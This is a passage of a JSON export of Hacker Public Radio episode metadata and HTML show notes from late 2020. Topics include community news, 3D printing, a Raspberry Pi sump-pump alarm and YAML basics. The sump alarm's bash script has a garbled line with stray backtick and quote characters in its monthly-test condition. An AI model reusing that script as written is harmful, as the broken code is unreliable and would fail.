                                                            • hpr3189\n(2020-10-22) \"How the Dutch dig Graves\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCedric De Vroey on 2020-10-26:\n\"Love graveyards\"
                                                              • Comment 2:\nClinton Roy on 2020-10-28:\n\"Interesting\"

                                                              \n
                                                            • hpr3191\n(2020-10-26) \"Swedish Corona Experience\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmcnalu on 2020-10-26:\n\"Interesting info from Sweden\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-October/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Call for shows

                                                            \n
                                                              \n
                                                            • There are just a few days until the next free slot on the calendar. More shows are urgently needed!
                                                            • \n
                                                            \n

                                                            Question

                                                            \n
                                                              \n
                                                            • Which undead would you rather be from D&D v 5 - Lich or Vampire ? And why ?
                                                            • \n
                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nDave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 6 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3197,"date":"2020-11-03","title":"Pens, pencils, paper and ink - 3","duration":1420,"summary":"Looking at another batch of writing equipment","notes":"

                                                            Introduction

                                                            \n

                                                            This is the third in a short series about pens, pencils, writing paper and ink.

                                                            \n

                                                            In this episode I look at two Chinese fountain pens, a mechanical pencil, a gel pen, some inks and some paper.

                                                            \n

                                                            Long notes

                                                            \n

                                                            The main notes for this episode, including pictures, can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n\n\n","hostid":225,"series":112,"explicit":1,"license":"CC-BY-SA","tags":"fountain pen,gel pen,mechanical pencil,ink,paper","version":0,"downloads":0,"valid":1}, {"id":3198,"date":"2020-11-04","title":"Income Life insurance and then Chopin","duration":1381,"summary":"I talk about my thoughts on Income Life insurance, and then we listen to some Chopin","notes":"

                                                            @paul@cloud.pquirk.com

                                                            ","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Income,life,insurance,investment,investing,Chopin","version":0,"downloads":0,"valid":1}, {"id":3199,"date":"2020-11-05","title":"Bad Audio Weed Eater Bugs Sprinkler and Bubbles !","duration":1516,"summary":"Pushing the definition of \"Audible\" to the limit, join us for some home repair tips","notes":"

                                                            \nJoin us for some home repairs, picking up tips and tricks on the way. Sorry for the bad audio.\n

                                                            \n
                                                              \n
                                                            • Bad Audio
                                                            • \n
                                                            • Weedeater Bugs
                                                            • \n
                                                            • Sprinkler
                                                            • \n
                                                            • Bubbles
                                                            • \n
                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"home improvement,home repair,outdoors,outside ","version":0,"downloads":0,"valid":1}, {"id":3200,"date":"2020-11-06","title":"Better Social Media 17 - OcapPub","duration":1125,"summary":"How using Object Capabilities within ActivityPub could solve some problems with social media.","notes":"

                                                            Social media has some problems, and even federated media is not immune to them. OcapPub proposes to help reduce some problems by moving away from a fundamentally broken model revolving around identity and access to a better model involving objects and capabilities. This could help reduce to problems of identity theft, and help against web site problems like clickjacking and Cross-Site Request Forgery. It is a proposal being worked on, not a finished technology, but it is promising.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, OcapPub","version":0,"downloads":0,"valid":1}, {"id":3201,"date":"2020-11-09","title":"A small intro to 3D printing","duration":688,"summary":"Everything a newbie needs to know to start 3D printing","notes":"","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"3D printing","version":0,"downloads":0,"valid":1}, {"id":3202,"date":"2020-11-10","title":"A big Question","duration":1118,"summary":"In his first show, Padraig asks a big life question. Well ok more like an undead question.","notes":"

                                                            \nIn his first show - recorded on Halloween night, Padraig asks a big life question. Well ok more like an undead question. Which is better a Lich, or a Vampire.\n

                                                            \n","hostid":388,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"DND, Vampires, Lich, Undead, Halloween","version":0,"downloads":0,"valid":1}, {"id":3203,"date":"2020-11-11","title":"The Paul Quirk show: Retro Computing","duration":1838,"summary":"I discuss the hobby of retro computing in this episode.","notes":"

                                                            Some links of interest for the listener:

                                                            \n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"retro,computing,Paul Quirk show,Commodore 64,Commodore 128,Vic 20,Apple II,coco,8-bit,PET,Atari","version":0,"downloads":0,"valid":1}, {"id":3204,"date":"2020-11-12","title":"Getting Started in 3D Printing","duration":960,"summary":"Thaj gives his opinions and recommendations on how to get started in 3D printing","notes":"

                                                            Getting started in 3D printing

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"3D Printing","version":0,"downloads":0,"valid":1}, {"id":3205,"date":"2020-11-13","title":"Backups of your Backups of Backups","duration":3205,"summary":"Do you have backups of your backups? Well you better! Listen to this rant","notes":"This is a general discussion about backups and cloud storage. ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"backups,cloud,spideroak,backup,cloud backup,cloud backups","version":0,"downloads":0,"valid":1}, {"id":3206,"date":"2020-11-16","title":"Dungeons and Dragons for the blind","duration":3511,"summary":"I discuss some easy workarounds to make tabletop RPGs easy for both sighted and non-sighted players","notes":"

                                                            Dungeons and Dragons, and most tabletop roleplaying games, are ideal platforms for players with low or no vision. However, because most players are sighted, you have to work-around some assumptions made by the rulebooks.

                                                            \n\n

                                                            I [currently] have vision, but I have played with a blind player before, and I've played as a Dungeon Master with no materials on hand. In this episode, I discuss some easy workarounds to make tabletop RPGs easy for both sighted and non-sighted players.\n

                                                            \n\n

                                                            There are audiobook versions of the rule books available at https://listenrpg.com.

                                                            \n\n

                                                            The official D&D digital platform is dndbeyond.com, and it is accessible to blind players using a screen reader.

                                                            \n\n

                                                            Wizards of the Coast publishes the basic rules under the Open Game License (OGL). As a service to my players, I maintain a version of this document in plain text, with third-party OGL additions. It may or may not be useful for screen readers, depending on your workflow.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"dnd,blind,inclusive,5e,tabletop,rpg","version":0,"downloads":0,"valid":1}, {"id":3207,"date":"2020-11-17","title":"Fireside chat with E Nigma","duration":3799,"summary":"Ken talks to the original HPR and Today with a Techie Admin.","notes":"

                                                            In this rambling episode, we talk to Enigma about the old days of HPR. He helped out with Today With A Techie and Droops asked him if he would like lead the project. After 300 episodes he, Dual Parallel, Droops, and StankDawg decided to pivot and rebrand as Hacker Public Radio. A nod to National Public Radio.

                                                            \n\n

                                                            Links

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR, TWAT, DDP, Infonomicon, Binrev, RFA","version":0,"downloads":0,"valid":1}, {"id":3208,"date":"2020-11-18","title":"The Paul Quirk show: Wacom with Pinebook, and thoughts on the DMCA takedown","duration":1120,"summary":"I got a Wacom tablet to use with my Pinebook, and then share my thoughts on the recent DMCA takedown","notes":"","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Pinebook,Pro,Wacom,tablet,DMCA,takedown,Youtube,Canadian,Canada,Music","version":0,"downloads":0,"valid":1}, {"id":3209,"date":"2020-11-19","title":"Linux Inlaws S01E17: Nextcloud","duration":4189,"summary":"Chat with Frank Karlitschek about Nextcloud and forking your company","notes":"","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Nextcloud, PHP, Golang, forking a company, technical debt","version":0,"downloads":0,"valid":1}, {"id":3210,"date":"2020-11-20","title":"GIMP: Patterns and Gradients","duration":1337,"summary":"Patterns and Gradients are useful for drawing with more than just color.","notes":"

                                                            Patterns and Gradients let you create images that go beyond simple colors and let you create more interesting images. And using them also means we begin to see how to combine a variety of tools, like paint tools, selection tools, and brushes, to create the effects we want in our images.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, patterns, gradients","version":0,"downloads":0,"valid":1}, {"id":3211,"date":"2020-11-23","title":"Chainsaws","duration":1098,"summary":"Info about chainsaws and what I know so far!","notes":"In this episode operat0r shares his experiences with chainsaws.","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"outdoors,outdoor,outside,mechanic,small engine repair,repair,home,home repair,chainsaws","version":0,"downloads":0,"valid":1}, {"id":3212,"date":"2020-11-24","title":"A Pi Model 3B as your daily driver? You must be joking.","duration":755,"summary":"Beeza's laptop is away being fixed. Can he manage for a few days using just his Raspberry Pi 3B?","notes":"

                                                            My Dell laptop had to go away to have a new cooling fan fitted. I've got 3 other laptops to call upon, but instead I decided to conduct an experiment I've theorised about for ages. Could a Raspberry Pi 3B serve as my daily driver?

                                                            \n

                                                            This idea goes back some way and since then, of course, the much more powerful model 4 has been released. However, there must be thousands of 3Bs out there doing nothing, so perhaps they could have a new lease of life providing basic browsing and internet capabilities to people who might otherwise not be in a position to buy a computer.

                                                            \n

                                                            Hardware: Raspberry Pi Model 3B
                                                            \nOS: Raspberry Pi OS (current version as of 31st October 2020)
                                                            \nMicroSD: SanDisk 16GB

                                                            \n

                                                            ADDITIONAL SOFTWARE INSTALLED

                                                            \n
                                                              \n
                                                            • Audio Editor: mhWaveEdit 1.4.23
                                                            • \n
                                                            • Audio Format Converter: SoundConverter 2.1.3
                                                            • \n
                                                            • Image Editor: GIMP 2.10
                                                            • \n
                                                            \n","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, Software Review","version":0,"downloads":0,"valid":1}, {"id":3213,"date":"2020-11-25","title":"Electrical Safety","duration":1835,"summary":"I discuss why and how I stay safe when working with electricity, with some ear candy at the end.","notes":"\n

                                                            Please be safe!

                                                            ","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Electrical,safety,code,electricity,electrocution","version":0,"downloads":0,"valid":1}, {"id":3214,"date":"2020-11-26","title":"Rant about websites","duration":1880,"summary":"I go over history of websites and the complex nature of security in complex websites","notes":"

                                                            In this show I go over history of websites and the complex nature of security in complex websites

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"internet,security,history,html","version":0,"downloads":0,"valid":1}, {"id":3215,"date":"2020-11-27","title":"Why I Gave Away a 3-D Printer","duration":442,"summary":"I briefly had a 3-D printer and gave it away. This is why.","notes":"

                                                            Ken Fallon asked for shows abut 3-D printers and I told him I had given mine away. So of course he asked for a show about why I had done that. This is that show.

                                                            \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"3D Printers, prosthetics","version":0,"downloads":0,"valid":1}, {"id":3216,"date":"2020-11-30","title":"Buying a second home in France","duration":952,"summary":"Steps I have taken up to now for buying a second home in another country","notes":"

                                                            funda.nl

                                                            \n","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"second-house,france","version":0,"downloads":0,"valid":1}, {"id":3217,"date":"2020-12-01","title":"Sump Minion","duration":1106,"summary":"My first Internet of Things device, without using python","notes":"\n

                                                            1 introduction

                                                            \n

                                                            1.1 back in Ohio using my regular voice
                                                            \n1.2 espeak is no worse than operat0rs audio and we all love his shows.

                                                            \n

                                                            2 the problem

                                                            \n

                                                            2.1 where i live the water table is high and basement flooding is a problem https://en.wikipedia.org/wiki/Great_Black_Swamp
                                                            \n2.2 to counteract the water table problem houses have sumps in the basement

                                                            \n

                                                            sump closet
                                                            \n\"sump

                                                            \n

                                                            sump close up
                                                            \n\"sump

                                                            \n

                                                            2.2.1 sumps consist of a basin where outside water is collected
                                                            \n2.2.2 a pump, usually electric, that drains the sump
                                                            \n2.2.3 also a good sump system will have some type of backup pump

                                                            \n

                                                            2.3 the 'real' problem happens when the sump pump(s) fail
                                                            \n2.3.1 primary pumps fail in many ways, mechanical motor failures, floats sticking electrical outage
                                                            \n2.3.2 secondary pumps also fail battery problems, mechanical problems
                                                            \n2.3.3 i wanted a notification system that would let me know that the water level in my sump was rising. i wanted it set so that if the water level hits where the secondary system kicks in i would get some ind of notification. i wanted a system that would not use python or some kind of 'home spy' system available from some friendly corporation.

                                                            \n

                                                            3 the solution

                                                            \n

                                                            3.1 a raspberrry pi, a simple transistor circuit, a c library that allows access to the pi's gpio's, mutt mail client, some bash scripting and a cron job

                                                            \n

                                                            \nThe probe is meerly 2 wires on the end of a pvc pipe. one wire is higher up on the pipe than the other when both wires are submerged, the circuit is complete. the wires are just some old stuff from a stripped out ethernet cable. you could easily cascade anumber of these circuits and provide a water level meter something like this,
                                                            \n\n\"water
                                                            \n, instead of running leds, you'd hook each end to a gpio pin on the pie.\n

                                                            \n

                                                            \nIn picture 2, the closeup you can see the probe its the small pvc pipe with the blue wires running along the side. I attached the end of the wires to the pipe by stripping the ends and wrapping them around a small 1/2\" self tapping screw. then I screwed one in towards the bottom and on higher up. the one higer up determines when the water alarm goes off. \n

                                                            \n\n\n

                                                            4 implementation

                                                            \n

                                                            4.1 raspberry pi 3b+
                                                            \n4.1.1 install slackware
                                                            \nhttps://sarpi.fatdog.eu/
                                                            \nslackware-arm
                                                            \nhttps://arm.slackware.com/
                                                            \npodcast
                                                            \nhttps://shows.acast.com/slackchat
                                                            \n4.1.2 access to gpio's
                                                            \n4.1.2.1 initially sysfs, its deprecated
                                                            \nhttps://www.kernel.org/doc/Documentation/ABI/obsolete/sysfs-gpio
                                                            \n4.1.2.2 i was unable to get libgpio to compile
                                                            \n4.1.2.3 other solutions python. wiringpi, project dead
                                                            \n4.1.2.4 a library pigpiod
                                                            \nhttps://abyz.me.uk/rpi/pigpio/pigpiod.html
                                                            \n4.1.2.5 slackbuilds pigpiod
                                                            \nhttps://slackbuilds.org/
                                                            \n4.1.3 the circuit
                                                            \n4.1.3.1 a rework of a forrest mims water alarm circuit
                                                            \nhttps://en.wikipedia.org/wiki/Forrest_Mims

                                                            \n

                                                            circuit diagram
                                                            \n\"circuit

                                                            \n

                                                            4.1.4 mutt
                                                            \nhttps://smalldata.tech/blog/2016/09/10/gmail-with-mutt
                                                            \n4.1.5 email to text
                                                            \nhttps://20somethingfinance.com/how-to-send-text-messages-sms-via-email-for-free/
                                                            \n4.1.6 the script
                                                            \n

                                                            \n
                                                            #!/bin/bash\n\nSENSOR=4\nRELAY=17\nINPUT=0\nOUTPUT=1\nON=1\nOFF=0\n\nADDRESS1=<your-phone-number>@vtext.com\n\n#if its 6am send system running sanity text\nif [ $(date | cut -c 12-16) == "06:00" ]; then\n\n#check to make sure daemon is running\nif [ "$(pidof pigpiod)" == "" ]; then\n   echo "Something is wrong, pigpiod is not running." | mutt -s "mutt message" $ADDRESS1\n   else\n   #make sure pin 4 is input, pin 17 output\n   if [ "$(pigs modeg $SENSOR)" = $OUTPUT ]; then\n      pigs modes $SENSOR R\n   fi\n   if [ "$(pigs modeg $RELAY)" = $INPUT ]; then\n      pigs modes $RELAY W\n   fi\n      echo "System running." | mutt -s "mutt message" $ADDRESS1\n   fi\nfi\n\n#if its the first wednesday of the month, run a system test\nif [ $(date | cut -c 1-3) `= "Wed" ] && [ $(date | cut -c 12-16) =' "12:00" ] && [ $(date | cut -c 9-10) -lt "8" ]; then\n   echo "Monthly Test." | mutt -s "mutt message" $ADDRESS1\n   pigs w $RELAY $ON\n   sleep 1\n\n   if [ $(pigs r $SENSOR) = 0 ]; then\n     echo "Test Passed!" | mutt -s "mutt message" $ADDRESS1\n   else\n     echo "Something is wrong!" | mutt -s "mutt message" $ADDRESS1\n   fi\nfi\n\n#check to see if water is rising, has the reading on pin 4 been driven low?\nif [ $(pigs r $SENSOR) = 0 ]; then\n   echo "Alert! The water is rising!" | mutt -s "mutt message" $ADDRESS1\nfi
                                                            \n

                                                            testing on breadboard
                                                            \n\"testing

                                                            \n

                                                            strip board
                                                            \n\"strip

                                                            \n

                                                            final installation
                                                            \n\"final

                                                            \n

                                                            5 conclusion

                                                            \n

                                                            5.1 fun project, shows the power of linux and floss and hope it inspires you

                                                            \n","hostid":326,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"raspberry pi, slackware","version":0,"downloads":0,"valid":1}, {"id":3218,"date":"2020-12-02","title":"An introduction to Darktable","duration":1574,"summary":"A brief introduction to RAW photography, the Darktable application, and then sheep may safely graze","notes":"\n
                                                            @paul@cloud.pquirk.com\n@quirk@mastodon.social
                                                            ","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"darktable,RAW,photo,photography,editing","version":0,"downloads":0,"valid":1}, {"id":3219,"date":"2020-12-03","title":"Linux Inlaws S01E18: Voice Recognition and Text to Speech","duration":4603,"summary":"How to place fake prank calls into podcasts and what does TTS have to do with this","notes":"

                                                            \nIn this episode, Chris is harassed by quite a few artificial nuisance callers, among\ndrug lords, Irish nurses and some random Linux Inlaws Chief Financial Officer. Based\non these examples, our two heroes discuss the history and current state of text-to-\nspeech (TTS) and voice recognition. We attempted to use voice recognition software in order\nto produce a transcript of the show.\n

                                                            \n
                                                            Shownotes:
                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"voice recognition, text to speech, wavenet, tacotron 2, DeepSpeech, Lyrebird","version":0,"downloads":0,"valid":1}, {"id":3220,"date":"2020-12-04","title":"PixelFed","duration":1183,"summary":"A look at a federated alternative to Instagram.","notes":"

                                                            Maybe you want to share some photos with your family and friends. You could use Instagram, but that is part of the Surveillance Capitalist media environment. Fortunately, there is a privacy-respecting federated alternative called PixelFed. This episode is an introduction to that platform.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, PixelFed, photo sharing","version":0,"downloads":0,"valid":1}, {"id":3221,"date":"2020-12-07","title":"HPR Community News for November 2020","duration":2948,"summary":"HPR Volunteers talk about shows released and comments posted in November 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Padraig Jeroen Fallon.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3196Mon2020-11-02HPR Community News for October 2020HPR Volunteers
                                                            3197Tue2020-11-03Pens, pencils, paper and ink - 3Dave Morriss
                                                            3198Wed2020-11-04Income Life insurance and then ChopinPaul Quirk
                                                            3199Thu2020-11-05Bad Audio Weed Eater Bugs Sprinkler and Bubbles !operat0r
                                                            3200Fri2020-11-06Better Social Media 17 - OcapPubAhuka
                                                            3201Mon2020-11-09A small intro to 3D printingJeroen Baten
                                                            3202Tue2020-11-10A big QuestionPadraig Jeroen Fallon
                                                            3203Wed2020-11-11The Paul Quirk show: Retro ComputingPaul Quirk
                                                            3204Thu2020-11-12Getting Started in 3D PrintingThaj Sara
                                                            3205Fri2020-11-13Backups of your Backups of Backupsoperat0r
                                                            3206Mon2020-11-16Dungeons and Dragons for the blindklaatu
                                                            3207Tue2020-11-17Fireside chat with E NigmaKen Fallon
                                                            3208Wed2020-11-18The Paul Quirk show: Wacom with Pinebook, and thoughts on the DMCA takedownPaul Quirk
                                                            3209Thu2020-11-19Linux Inlaws S01E17: Nextcloudmonochromec
                                                            3210Fri2020-11-20GIMP: Patterns and GradientsAhuka
                                                            3211Mon2020-11-23Chainsawsoperat0r
                                                            3212Tue2020-11-24A Pi Model 3B as your daily driver? You must be joking.Beeza
                                                            3213Wed2020-11-25Electrical SafetyPaul Quirk
                                                            3214Thu2020-11-26Rant about websitesoperat0r
                                                            3215Fri2020-11-27Why I Gave Away a 3-D PrinterAhuka
                                                            3216Mon2020-11-30Buying a second home in FranceJeroen Baten
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 13 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr1771\n(2015-05-18) \"Audacity: Label Tracks\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKen Fallon on 2020-11-19:\n\"Yes - found it\"

                                                              \n
                                                            • hpr1796\n(2015-06-22) \"Audacity - Chains, Notches and Labels\"\nby cheeto4493.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2020-11-19:\n\"And this one as well\"

                                                              \n
                                                            • hpr2881\n(2019-08-19) \"Automatically split album into tracks in Audacity\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nKen Fallon on 2020-11-19:\n\"And the final piece of the puzzle\"

                                                              \n
                                                            • hpr3126\n(2020-07-27) \"Metrics part II\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nmcnalu on 2020-11-25:\n\"Thanks for the comments\"

                                                              \n
                                                            • hpr3179\n(2020-10-08) \"MakeMKV to back up media, and a Question\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nArcher72 on 2020-11-03:\n\"re: janedoc\"

                                                              \n
                                                            • hpr3193\n(2020-10-28) \"Meet Antithesis\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbrian-in-ohio on 2020-11-03:\n\"dark-table\"
                                                              • \n
                                                              • \nComment 2:\nAhuka on 2020-11-03:\n\"Agree with Brian\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 6 comments on 5 of this month's shows:

                                                            \n
                                                            • hpr3202\n(2020-11-10) \"A big Question\"\nby Padraig Jeroen Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nEnigma on 2020-11-10:\n\"Great first show\"

                                                              \n
                                                            • hpr3206\n(2020-11-16) \"Dungeons and Dragons for the blind\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2020-11-16:\n\"Thanks for a great show\"

                                                              \n
                                                            • hpr3208\n(2020-11-18) \"The Paul Quirk show: Wacom with Pinebook, and thoughts on the DMCA takedown\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCharliebrownau on 2020-11-23:\n\"Feedback - HPR 3208e\"

                                                              \n
                                                            • hpr3209\n(2020-11-19) \"Linux Inlaws S01E17: Nextcloud\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2020-11-19:\n\"I loved the show\"

                                                              \n
                                                            • hpr3213\n(2020-11-25) \"Electrical Safety\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2020-11-25:\n\"Great episode\"
                                                              • Comment 2:\nKevin O'Brien on 2020-11-27:\n\"I loved the show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-November/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            There were no tag or summary updates in the past month.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3222,"date":"2020-12-08","title":"Musings about writing a book about the Odoo software suite","duration":1616,"summary":"How I started writing again after 20 years and this time about the Odoo software","notes":"

                                                            In this podcast I describe how I met another Dutch guy at the Ubucon 2018 conference in Spain. And how he asked me to write another book, this time about Odoo. How I learned how the Odoo ecosystem works, with the Odoo S.A. company and the Odoo Community Association (OCA).

                                                            \n

                                                            At the end I had a finished book.

                                                            \n

                                                            You can find the book here: https://www.lulu.com/en/en/shop/jeroen-baten/jumpstart-your-business-with-odoo-12-ennl/paperback/product-1wkzmj52.html

                                                            \n

                                                            If you have questions or comments, please leave a comment at the HPR site.

                                                            \n

                                                            Warm regards, Jeroen Baten

                                                            \n","hostid":369,"series":126,"explicit":0,"license":"CC-BY-SA","tags":"odoo, writing, book","version":0,"downloads":0,"valid":1}, {"id":3223,"date":"2020-12-09","title":"My COVID year summary","duration":1090,"summary":"I summarize what I've been doing for the last year","notes":"

                                                            Links

                                                            \n","hostid":300,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"covid,healthcare,coronavirus,laboratory","version":0,"downloads":0,"valid":1}, {"id":3224,"date":"2020-12-10","title":"Adventures in Retrocomputing with the Mac Plus","duration":1479,"summary":"I talk more about my hobby with retrocomputing, and then Greensleeves.","notes":"

                                                            Links

                                                            \n","hostid":383,"series":71,"explicit":0,"license":"CC-BY-SA","tags":"Mac,Plus,Iomega,zip,drive,OS,7.5.5,6.0.8,retro,computing","version":0,"downloads":0,"valid":1}, {"id":3225,"date":"2020-12-11","title":"Grill repair","duration":1027,"summary":"I go over some grill tips/repair","notes":"

                                                            A few quick tips on how to extend the life of grills.

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"outdoor,outdoors,repair,home repair,grills","version":0,"downloads":0,"valid":1}, {"id":3226,"date":"2020-12-14","title":"Using taskwarrior to structurize your work","duration":970,"summary":"How using taskwarrior can help you to structure your work","notes":"
                                                              \n
                                                            • taskwarrior.org\n
                                                                \n
                                                              • Taskwarrior is Free and Open Source Software that manages your TODO list from the command line. It is flexible, fast, and unobtrusive. It does its job then gets out of your way.
                                                              • \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • timewarrior.net\n
                                                                \n
                                                              • Timewarrior is Free and Open Source Software that tracks time from the command line.
                                                              • \n
                                                            • \n
                                                            \n\n","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"command-line,taskwarrior,timewarrior,todo-list","version":0,"downloads":0,"valid":1}, {"id":3227,"date":"2020-12-15","title":"Fresh water Aquarium Basics","duration":1589,"summary":"Enigma discusses the high level basics of getting into the aquarium hobby","notes":"

                                                            Enigma discusses the high level basics of getting into the aquarium hobby and what to consider when purchasing your first aquarium.

                                                            \n

                                                            Links:

                                                            \n","hostid":39,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Aquariums","version":0,"downloads":0,"valid":1}, {"id":3228,"date":"2020-12-16","title":"YAML basics","duration":2027,"summary":"Learn about sequence and mapping in YAML","notes":"

                                                            YAML has two data elements that serve as building blocks for complex data structures: sequences and mappings.

                                                            \n\n

                                                            Sequence

                                                            \n\n

                                                            This is a sequence:

                                                            \n\n
                                                            \n---\n- Emperor\n- Gentoo\n- Little Blue\n
                                                            \n\n

                                                            Mapping

                                                            \n\n

                                                            \nThis is a mapping:\n

                                                            \n\n
                                                            \n---\nPenguin: Emperor\n
                                                            \n\n

                                                            \nIn this case, Penguin is a key and Emperor is a value. This is often called a "key and value pair", but in YAML it's just called a mapping.\n

                                                            \n\n

                                                            Combining data blocks

                                                            \n\n

                                                            \nYou can embed these data types into one another. Here is a mapping that has a sequence as its value:\n

                                                            \n\n
                                                            \n---\nPenguin:\n  - Emperor\n  - Gentoo\n  - Little Blue\n
                                                            \n\n

                                                            \nHere is a sequence of mappings:\n

                                                            \n\n
                                                            \n---\n- Penguin: Emperor\n- Penguin: Gentoo\n- Penguin: Little Blue\n
                                                            \n\n

                                                            yamllint

                                                            \n\n

                                                            Use yamllint to detect errors in your YAML. To install:\n

                                                            \n\n
                                                            \n\n$ pip install yamllint\n
                                                            \n\n

                                                            Run it:\n

                                                            \n\n
                                                            \n\n$ yamllint good.yaml\n$ yamllint bad.yaml\nbad.yaml\n  1:1       warning  missing document start \"---\"  (document-start)\n  4:14      error    no new line character at the end of file  (new-line-at-end-of-file)\n
                                                            \n\n

                                                            yaml2json

                                                            \n\n

